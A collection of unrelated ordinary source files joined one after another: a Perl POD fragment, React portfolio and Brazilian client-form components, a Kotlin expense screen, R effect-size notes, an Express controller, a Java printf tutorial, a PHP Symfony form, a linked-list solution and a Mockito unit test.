'__MONTH_INDEX__'; <?xml version="1.0" encoding="UTF-8"?> <page xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://web.meon.eu/" xmlns:w="http://web.meon.eu/"> <content><div xmlns="http://www.w3.org/1999/xhtml"> <w:timeline/> </div></content> </page> __MONTH_INDEX__ } =head1 NAME meon-web-mail2blog - parse email and create timeline entries out of it =head1 SYNOPSIS meon-web-mail2timeline-entry --hostname domain --hostname domain where to store timeline entries --notify email (opt.) send notification about new submissions --author name (opt.) set author, otherwise taken from email name =head1 DESCRIPTION =cut
import React, { RefObject } from "react"; import { Cursor, useTypewriter } from "react-simple-typewriter"; import HeroBackground from "./HeroBackground"; import Image from "next/image"; import { motion } from "framer-motion"; import HeroButton from "./HeroButton"; interface Props { aboutRef: RefObject<HTMLElement>; skillsRef: RefObject<HTMLElement>; workExperienceRef: RefObject<HTMLElement>; projectsRef: RefObject<HTMLElement>; } function Hero({ aboutRef, skillsRef, workExperienceRef, projectsRef }: Props) { const [text, count] = useTypewriter({ words: ["Hi, my name's Hieu", "a.k.a Dan Halis", "@danhalis"], loop: true, delaySpeed: 2000, }); return ( <div className=" h-[800px] flex flex-col relative items-center justify-center overflow-hidden" > <HeroBackground /> <motion.div className="absolute" initial={{ opacity: 0, }} animate={{ opacity: 1, }} transition={{ duration: 3, }} > <div className="flex flex-col items-center justify-center space-y-8" > <Image className="rounded-full object-cover shadow-[#333333] shadow-xl" src="https://raw.githubusercontent.com/danhalis/portfolio/master/public/profile-photo.jpg" alt="Profile Picture" width={200} height={200} /> <h2 className="hero-title">Software Developer</h2> <h1 className="h-20 text-center text-3xl lg:text-5xl font-semibold px-10"> <span className="">{text}</span> <Cursor /> </h1> <div className="flex"> <HeroButton sectionRef={aboutRef}>About</HeroButton> <HeroButton sectionRef={skillsRef}>Skills</HeroButton> <HeroButton sectionRef={workExperienceRef}>Experience</HeroButton> <HeroButton sectionRef={projectsRef}>Projects</HeroButton> </div> </div> </motion.div> </div> ); } export default Hero;
import { useState } from "react"; import { Button, Container, Form, Row, Col, FloatingLabel } from "react-bootstrap"; import { useSelector, useDispatch} from 'react-redux'; import { adicionar, atualizar} from '../../redux/clienteReducer'; export default function FormCadCliente(props) { const clienteVazio = { cpf:'', nome:'', endereco:'', numero:'', bairro:'', cidade:'', uf:'SP', cep:'' } const estadoInicialCliente = props.clienteParaEdicao; const [cliente, setCliente] = useState(estadoInicialCliente); const [formValidado, setFormValidado] = useState(false); const {status,mensagem,listaClientes} = useSelector((state)=>state.cliente); const dispatch = useDispatch(); function manipularMudancas(e){ const componente = e.currentTarget; console.log(componente.value) setCliente({...cliente,[componente.name]:componente.value}); } function manipularSubmissao(e){ const form = e.currentTarget; if (form.checkValidity()){ if(!props.modoEdicao){ dispatch(adicionar(cliente)); } else{ dispatch(atualizar(cliente)); props.setModoEdicao(false); props.setClienteParaEdicao(clienteVazio); } setCliente(clienteVazio); setFormValidado(false); } else{ setFormValidado(true); } e.stopPropagation(); e.preventDefault(); } return ( <Container> <Form noValidate validated={formValidado} onSubmit={manipularSubmissao}> <Row> <Col> <Form.Group> <FloatingLabel label="CPF:" className="mb-3" > <Form.Control type="text" placeholder="000.000.000-00" id="cpf" name="cpf" value={cliente.cpf} onChange={manipularMudancas} required /> </FloatingLabel> <Form.Control.Feedback type="invalid">Informe o cpf!</Form.Control.Feedback> </Form.Group> </Col> </Row> <Row> <Col> <Form.Group> <FloatingLabel label="Nome Completo:" className="mb-3" > <Form.Control type="text" placeholder="Informe o nome completo" id="nome" name="nome" value={cliente.nome} onChange={manipularMudancas} required /> </FloatingLabel> <Form.Control.Feedback type="invalid">Informe o nome!</Form.Control.Feedback> </Form.Group> </Col> </Row> <Row> <Col md={10}> <Form.Group> <FloatingLabel label="Endereço:" className="mb-3" > <Form.Control type="text" placeholder="Avenida/Rua/Alameda/Viela ..." id="endereco" name="endereco" onChange={manipularMudancas} value={cliente.endereco} required /> </FloatingLabel> <Form.Control.Feedback type="invalid">Informe o endereço!</Form.Control.Feedback> </Form.Group> </Col> <Col md={2}> <Form.Group> <FloatingLabel label="Número" className="mb-3" > <Form.Control type="text" placeholder="Nº" id="numero" name="numero" onChange={manipularMudancas} value={cliente.numero} required /> </FloatingLabel> <Form.Control.Feedback type="invalid">Informe o número!</Form.Control.Feedback> </Form.Group> </Col> </Row> <Row> <Col md={4}> <Form.Group> <FloatingLabel label="Bairro:" className="mb-3" > <Form.Control type="text" placeholder="Bairro/Vila..." id="bairro" name="bairro" onChange={manipularMudancas} value={cliente.bairro} required /> </FloatingLabel> <Form.Control.Feedback type="invalid">Informe o bairro!</Form.Control.Feedback> </Form.Group> </Col> <Col md={5}> <Form.Group> <FloatingLabel label="Cidade" className="mb-3" > <Form.Control type="text" placeholder="Cidade" id="cidade" name="cidade" onChange={manipularMudancas} value={cliente.cidade} required /> </FloatingLabel> <Form.Control.Feedback type="invalid">Informe a cidade!</Form.Control.Feedback> </Form.Group> </Col> <Col md={3}> <FloatingLabel controlId="floatingSelect" label="UF:"> <Form.Select aria-label="Unidades Federativas brasileiras" id='uf' name='uf' onChange={manipularMudancas} value={cliente.uf} requerid> <option value="SP" selected>São Paulo</option> <option value="AC">Acre</option> <option value="AL">Alagoas</option> <option value="AP">Amapá</option> <option value="AM">Amazonas</option> <option value="BA">Bahia</option> <option value="CE">Ceará</option> <option value="DF">Distrito Federal</option> <option value="ES">Espírito Santo</option> <option value="GO">Goiás</option> <option value="MA">Maranhão</option> <option value="MT">Mato Grosso</option> <option value="MS">Mato Grosso do Sul</option> <option value="MG">Minas Gerais</option> <option value="PA">Pará</option> <option value="PB">Paraíba</option> <option value="PR">Paraná</option> <option value="PE">Pernambuco</option> <option value="PI">Piauí</option> <option value="RJ">Rio de Janeiro</option> <option value="RN">Rio Grande do Norte</option> <option value="RS">Rio Grande do Sul</option> <option value="RO">Rondônia</option> <option value="RR">Roraima</option> <option value="SC">Santa Catarina</option> <option value="SE">Sergipe</option> <option value="TO">Tocantins</option> </Form.Select> </FloatingLabel> </Col> </Row> <Row> <Col md={4}> <Form.Group> <FloatingLabel label="CEP:" className="mb-3" > <Form.Control type="text" placeholder="00000-000" id="cep" name="cep" onChange={manipularMudancas} value={cliente.cep} required /> </FloatingLabel> <Form.Control.Feedback type="invalid">Informe o bairro!</Form.Control.Feedback> </Form.Group> </Col> </Row> <Row> <Col md={6} offset={5} className="d-flex justify-content-end"> <Button type="submit" variant={"primary"}>{props.modoEdicao ? "Alterar":"Cadastrar"}</Button> </Col> <Col md={6} offset={5}> <Button type="button" variant={"secondary"} onClick={() => { props.exibirFormulario(false) } }>Voltar</Button> </Col> </Row> </Form> </Container> ); }
package com.example.myapplication.ui.home import androidx.lifecycle.ViewModelProvider import android.os.Bundle import androidx.fragment.app.Fragment import android.view.LayoutInflater import android.view.View import android.view.ViewGroup import android.widget.Button import androidx.navigation.fragment.findNavController import com.example.myapplication.R import com.example.myapplication.databinding.FragmentExpenseBinding class ExpenseFragment : Fragment() { private var _binding: FragmentExpenseBinding? = null // This property is only valid between onCreateView and // onDestroyView. private val binding get() = _binding!! override fun onCreateView( inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle? ): View? { val expenseViewModel = ViewModelProvider(this).get(ExpenseViewModel::class.java) _binding = FragmentExpenseBinding.inflate(inflater, container, false) val root: View = binding.root var btnSave: Button = binding.saveButton btnSave.setOnClickListener { expenseViewModel.setExpenseDate( binding.expenseDate.text ) expenseViewModel.setExpenseDescription( binding.expenseDescription.text ) expenseViewModel.setExpenseMoney( binding.expenseMoney.text ) var category:Int = 0 if( binding.personalRadiobutton.isChecked ) { category = 1 } if( binding.supermarketRadiobutton.isChecked ) { category = 2 } if( binding.gasRadiobutton.isChecked ) { category = 3 } if( binding.commonRadiobutton.isChecked ) { category = 4 } expenseViewModel.setExpenseCategory( category ) // todo: save expense expenseViewModel.SaveExpense() findNavController().popBackStack() } return root } }
#Calculate Hedges' g' esc_mean_sd(grp1m = 20.09, # mean of group 1 grp1sd = 1.45, # standard deviation of group 1 grp1n = 23, # sample in group 1 grp2m = 17.79, # mean of group 2 grp2sd = 2.13, # standard deviation of group 2 grp2n = 22, # sample in group 2 es.type = "g") # use "g" for Hedges' g esc_f(f = 1.94, # F value of the one-way anova grp1n = 54, # sample size of group 1 grp2n = 27, # sample size of group 2 es.type = "g") # convert to Hedges' g esc_t(t = 6.38, # t-value grp1n = 30, # sample size of group1 grp2n = 30, # sample size of group 2 es.type="g") # use "g" for Hedges' g # R Tutorial: Exploring categorical data https://www.youtube.com/watch?v=GZqVOEwOHMo table(MALLdata$Country, MALLdata$ControlCondition # cc is the variable name for ControlCondition cc <-table(MALLdata$ControlCondition) cc gg <-table(MALLdata$ResearchSettings) gg #Load package library(ggplot2) ggplot(OnlyPaper, aes(x = ResearchSettings, fill = MotherTongue)) + geom_bar() levels(MALLdata$ControlCondition) # Simple way is to install a package install.packages("Hmisc") library(Hmisc) describe(OnlyPaper$ResearchSettings) #Create visualization in R #https://www.youtube.com/watch?v=O6f7KTh3PV8&ab_channel=BioinformaticsforAll #Create a number for a subcategory #https://www.youtube.com/watch?v=pwHw3DekJM8&ab_channel=DataScienceMaterials # check the regression diagnostic plots for this model plot(mode36) ### https://www.statology.org/robust-regression-in-r ###https://stats.stackexchange.com/questions/57746/what-is-residual-standard-error#:~:text=When%20the%20residual%20standard%20error,(likely%20due%20to%20overfitting).
import { logger } from "../../../utils/logger"; import ObjLog from "../../../utils/ObjLog"; import doc_typesService from "../services/doc_types.service"; import authenticationPGRepository from "../../authentication/repositories/authentication.pg.repository"; import { env, ENVIROMENTS } from "../../../utils/enviroment"; const doc_typesController = {}; const context = "doc_types Controller"; // declaring log object const logConst = { is_auth: null, success: true, failed: false, ip: null, country: null, route: null, session: null, }; doc_typesController.getDocTypes = async (req, res, next) => { try { // filling log object info let log = logConst; log.is_auth = req.isAuthenticated(); log.ip = req.header("Client-Ip"); log.route = req.method + " " + req.originalUrl; const resp = await authenticationPGRepository.getIpInfo( req.header("Client-Ip") ); if (resp) log.country = resp.country_name ? resp.country_name : "Probably Localhost"; if (await authenticationPGRepository.getSessionById(req.sessionID)) log.session = req.sessionID; // protecting route in production but not in development if (!req.isAuthenticated() && env.ENVIROMENT === ENVIROMENTS.PRODUCTION) { req.session.destroy(); log.success = false; log.failed = true; log.params = req.params; log.query = req.query; log.body = req.body; log.status = 401; log.response = { message: "Unauthorized" }; await authenticationPGRepository.insertLogMsg(log); res.status(401).json({ message: "Unauthorized" }); } else { // calling service logger.info(`[${context}]: Sending service to get doc_types`); ObjLog.log(`[${context}]: Sending service to get doc_types`); let finalResp = await doc_typesService.getDocTypes(req, res, next); if (finalResp) { //logging on DB log.success = finalResp.success; log.failed = finalResp.failed; log.params = req.params; log.query = req.query; log.body = req.body; log.status = finalResp.status; log.response = finalResp.data; await authenticationPGRepository.insertLogMsg(log); //sendind response to FE res.status(finalResp.status).json(finalResp.data); } } } catch (error) { next(error); } }; doc_typesController.getDocTypeById = async (req, res, next) => { try { // filling log object info let log = logConst; log.is_auth = req.isAuthenticated(); log.ip = req.header("Client-Ip"); log.route = req.method + " " + req.originalUrl; const resp = await authenticationPGRepository.getIpInfo( req.header("Client-Ip") ); if (resp) log.country = resp.country_name ? resp.country_name : "Probably Localhost"; if (await authenticationPGRepository.getSessionById(req.sessionID)) log.session = req.sessionID; // protecting route in production but not in development if (!req.isAuthenticated() && env.ENVIROMENT === ENVIROMENTS.PRODUCTION) { req.session.destroy(); log.success = false; log.failed = true; log.params = req.params; log.query = req.query; log.body = req.body; log.status = 401; log.response = { message: "Unauthorized" }; await authenticationPGRepository.insertLogMsg(log); res.status(401).json({ message: "Unauthorized" }); } else { // calling service logger.info(`[${context}]: Sending service to get doc type by id `); ObjLog.log(`[${context}]: Sending service to get doc type by id `); let finalResp = await doc_typesService.getDocTypeById(req, res, next); if (finalResp) { //logging on DB log.success = finalResp.success; log.failed = finalResp.failed; log.params = req.params; log.query = req.query; log.body = req.body; log.status = finalResp.status; log.response = finalResp.data; await authenticationPGRepository.insertLogMsg(log); //sendind response to FE res.status(finalResp.status).json(finalResp.data); } } } catch (error) { next(error); } }; export default doc_typesController;
public class Main { public static void main(String[] args) { // printf() = an option method to control, format, and display text to the console window // two arguments = format string + (object/variable/value) // % [flag] [precision] [width] [conversion-character] // %d = decimal numbers %b boolean boolean myBoolean = true; char myChar = '@'; String myString = "Jhon"; int myInt = 50; double myDouble = 1000; //System.out.printf("%b",myBoolean); //System.out.printf("%c",myChar); //System.out.printf("%s",myString); //System.out.printf("%d",myInt); //System.out.printf("%f",myDouble); //[width] // minimum number of charcters to be written as output //System.out.printf("Hello %10s", myString); //[precision] // sets number of digits of precision when outputting floating-point values System.out.printf("You have this much money %.2f", myDouble); //[flag] // adds an effect to output based on the flag added to format specifier // - : left-justify // + : out put a plus ( + ) or minus ( - ) sign for a numeric value // 0 : numeric values are zero-padded // , : comma grouping separator if numbers > 1000 } }
<?php namespace Gist\Form; use Symfony\Component\Validator\Constraints\NotBlank; /** * Class CreateGistForm. * * @author Simon Vieille <simon@deblan.fr> */ class FilterGistForm extends AbstractForm { /** * {@inheritdoc} */ public function build(array $options = array()) { $this->builder->add( 'type', 'choice', array( 'required' => true, 'choices' => $this->getTypes(), 'constraints' => array( new NotBlank(), ), ) ); $this->builder->add( 'cipher', 'choice', array( 'required' => true, 'choices' => array( 'anyway' => $this->translator->trans('form.cipher.choice.anyway'), 'no' => $this->translator->trans('form.cipher.choice.no'), 'yes' => $this->translator->trans('form.cipher.choice.yes'), ), 'constraints' => array( new NotBlank(), ), ) ); $this->builder->add( 'title', 'text', array( 'required' => false, 'attr' => array( 'placeholder' => $this->translator->trans('form.title.placeholder'), 'class' => 'form-control', ) ) ); $this->builder->setMethod('GET'); return $this->builder; } /** * Returns the types for generating the form. * * @return array */ protected function getTypes() { $types = array( 'all' => '', 'html' => '', 'css' => '', 'javascript' => '', 'php' => '', 'sql' => '', 'xml' => '', 'yaml' => '', 'perl' => '', 'c' => '', 'asp' => '', 'python' => '', 'bash' => '', 'actionscript3' => '', 'text' => '', ); foreach ($types as $k => $v) { $types[$k] = $this->translator->trans('form.type.choice.'.$k); } return $types; } /** * {@inheritdoc} */ public function getName() { return 'filter'; } }
/** * Definition for singly-linked list. * public class ListNode { * int val; * ListNode next; * ListNode(int x) { val = x; } * } */ // iterative approach class Solution { public ListNode removeElements(ListNode head, int val) { ListNode dummy = new ListNode(0); dummy.next = head; head = dummy; while (head.next != null) { if (head.next.val == val) { head.next = head.next.next; } else { head = head.next; } } return dummy.next; } } // recursive approach class Solution { public ListNode removeElements(ListNode head, int val) { if (head == null) { return null; } head.next = removeElements(head.next, val); return head.val == val ? head.next : head; } }
package com.liceotrujillo.apiclt.news.infrastructure.output.jpa.adapter; import com.liceotrujillo.apiclt.news.domain.model.TagNews; import com.liceotrujillo.apiclt.news.infrastructure.output.jpa.entity.TagNewsEntity; import com.liceotrujillo.apiclt.news.infrastructure.output.jpa.mapper.ITagNewsEntityMapper; import com.liceotrujillo.apiclt.news.infrastructure.output.jpa.repository.ITagNewsRepository; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; import org.mockito.InjectMocks; import org.mockito.Mock; import org.mockito.junit.jupiter.MockitoExtension; import java.util.Arrays; import java.util.List; import java.util.Optional; import static org.junit.jupiter.api.Assertions.*; import static org.mockito.Mockito.*; @ExtendWith(MockitoExtension.class) class TagNewsJpaAdapterTest { @Mock private ITagNewsEntityMapper mapper; @Mock private ITagNewsRepository repository; @InjectMocks private TagNewsJpaAdapter tagNewsJpaAdapter; @Test public void testGetTagNewsListByMockito(){ List<TagNewsEntity> tagNewsEntityList = Arrays.asList( new TagNewsEntity(1L,"tag1","description1"), new TagNewsEntity(2L,"tag2","description2")); List<TagNews> tagNewsList = Arrays.asList( new TagNews(1L,"tag1","description1"), new TagNews(2L,"tag2","description2")); when(repository.findAll()).thenReturn(tagNewsEntityList); when(mapper.toTagNewsList(tagNewsEntityList)).thenReturn(tagNewsList); final List<TagNews> result = tagNewsJpaAdapter.getAllTags(); verify(repository, times(1)).findAll(); verify(mapper, times(1)).toTagNewsList(tagNewsEntityList); assertNotNull(result); assertFalse(result.isEmpty()); } @Test public void testGetTagNewsByMockito(){ TagNewsEntity tagNewsEntity = new TagNewsEntity(1L,"tag1","description1"); TagNews tagNews = new TagNews(1L,"tag1","description1"); when(repository.findById(1L)).thenReturn(Optional.of(tagNewsEntity)); when(mapper.toTagNews(tagNewsEntity)).thenReturn(tagNews); final TagNews result = tagNewsJpaAdapter.getTagById(1L); verify(repository, times(1)).findById(1L); verify(mapper, times(1)).toTagNews(tagNewsEntity); assertNotNull(result); } }